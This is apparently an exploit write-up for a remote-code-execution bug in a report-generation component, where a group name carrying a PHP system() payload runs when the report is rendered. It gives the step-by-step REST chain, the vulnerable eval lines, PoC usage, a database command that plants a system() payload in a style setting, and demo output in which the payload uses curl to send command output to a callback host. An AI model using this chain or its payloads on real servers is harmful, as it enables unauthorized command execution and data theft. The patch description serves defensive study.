## https://sploitus.com/exploit?id=1AF00405-8F85-587B-854D-4F6B41739EAB

# CVE-2026-19626 β RCE in report generation (authenticated, non-admin)
**Status: CONFIRMED β pure-REMOTE, non-admin, REST-only** (6.7.2-14.el9 lab, 2026-08-21).
The weaponized chain (this is what poc.py does):
1. login as any regular org user
2. `POST /rest/group` with `name: "{=system('')}"` β braces/quotes accepted
verbatim (the group controller has no charset check)
3. `POST /rest/reportDefinition` β PDF report, one pieChart component,
`user/sumgroup` query, `labelColumns: groupID`
4. `POST /rest/reportDefinition/{id}/launch`
5. At render, `substituteParams()` substitutes the `{label}` placeholder with the
group name BEFORE the `{=...}` eval loop runs β the payload lands inside the
format string and `eval("$expr = system('');")` fires as tns
6. `system()`'s return value is substituted back into the label β the command's
output renders into the pie legend of the finished report (the exfil channel)
Marker `/tmp/pwn_label` created by this exact chain (no DB access, no style write,
no file upload). Note the zero-member group still produces a sector β the sumgroup
aggregation includes it.
Additionally confirmed by direct invocation and full-pipeline style poison (see
history below): the eval sink is live in the shipped `substituteParams()`, and a
poisoned default `legendFormat` style attribute fires on ANY pie-chart render
including non-admin-owned reports.
**Delivery caveat (why the pure-REST PoC stalls):** the report definition's inline
`style` object β where the PoC plants `legendFormat`/`labelFormat` β is stored
verbatim in `xmlDefinition` but **discarded at render**: `getReport(CONTEXT_RENDER)`
rehydrates components from the normalized tables and overwrites
`$component['style']` with `StyleLib::getComponentStyle()` (fetched by `styleID`).
The style-import controller exists (`Styles::add`, parses an uploaded XML file via
`xmlToStyles`, with the admin-only check commented out) but **no route to it is
exposed** β 12-verb/path volley (`style`, `styles`, `style::add`, `style/import` Γ
POST/PUT/PATCH, with a valid staged filename) all return error 10, and the UI bundle
contains zero style-endpoint calls. Pure-remote delivery therefore requires a
style write path that 6.7.2 does not expose; the rendered chain was demonstrated
via the style attribute directly.
## Vulnerability
`/opt/sc/src/lib/ReportChartingLib.php` (SecurityCenter 6.8.0 and earlier):
- **line 8283** β `eval("\$expr = {$exprs[1]};")` in `substituteParams()`. Pie-chart
legend/label format strings (`$style['legendFormat']` / `$style['labelFormat']`,
lines 4952/4983) support `{=}` placeholders, e.g. the built-in default
`{={sector}+1}`. The expression body is user-supplied report-definition content β
arbitrary PHP.
- **lines 5538 / 5714** β `eval("\$sectorLabels->setBackground($labelStyle);")` with
`labelStyling` from the chart style. The 6.8.0 guard was
`if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default` β rejects `;` only;
`system('cmd')` passes.
- **line 6125** β `if (is_callable($matches['name']))` gate on bar-shape specs like
`circleShape(10)`. `system(id)` passes the gate. The 6.9.0 fix comment states it
outright: *"is_callable() is NOT a safe gate (is_callable(\"system\") === true)"*.
Any org user with report-definition rights reaches all three at render time
(`generateReport.php` / Jobd). `ReportDefinitions::launch()` refuses ROLE_ADMIN β
the bug class is explicitly non-admin.
Command output is substituted back into the label text, so the rendered report is the
exfil channel.
## Patch (6.9.0)
`eval()` removed; `{=...}` expressions restricted to
`/^[0-9.\s()+\-*\/]+/` and evaluated by a tokenizer; `resolveLabelStyleArgs()` parses
label styling into an argument list; `isAllowedBarShapeFunction()` allowlist with
numeric-only parameters.
## PoC
```bash
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
```
Group-name label injection (the remote chain above): creates the payload-named
group, builds the sumgroup report, launches, and polls for the rendered result β
command output appears in the pie legend of the finished report. Payload
constraint: no `}` characters (the `{=...}` regex is non-greedy to the first
brace); command output rides the label substitution, so read it from the report
or verify via marker/timing.
## Anatomy notes (why the obvious chains stall)
- The definition's inline `style.legendFormat`/`labelFormat` is stored verbatim in
`xmlDefinition` but **discarded at render** β components rehydrate styles from
the Style tables via `styleID` (`ReportDefinitionLib` render context overwrites
`$component['style']` with `StyleLib::getComponentStyle()`).
- The style-import controller exists (`Styles::add`, admin check commented out,
parses an uploaded XML via `xmlToStyles`) but **no route is wired** β 12
verb/path combos (incl. sub-resource `/rest/style/{id}`) all return error 10,
and the UI bundle contains zero style-endpoint calls.
- The label-value path needs none of that: `{label}` substitution precedes the
eval loop, so ANY attacker-influenced label (group name here; user profile
fields and scanned-asset hostnames are the same shape) carries the payload.
## Lab confirmation commands
```bash
# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='{=system(\"touch /tmp/pwned\")}' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
```
## Demo
```console
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created β UI: https://1.1.1.1/#/reports/51
[+] report launched β chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0
```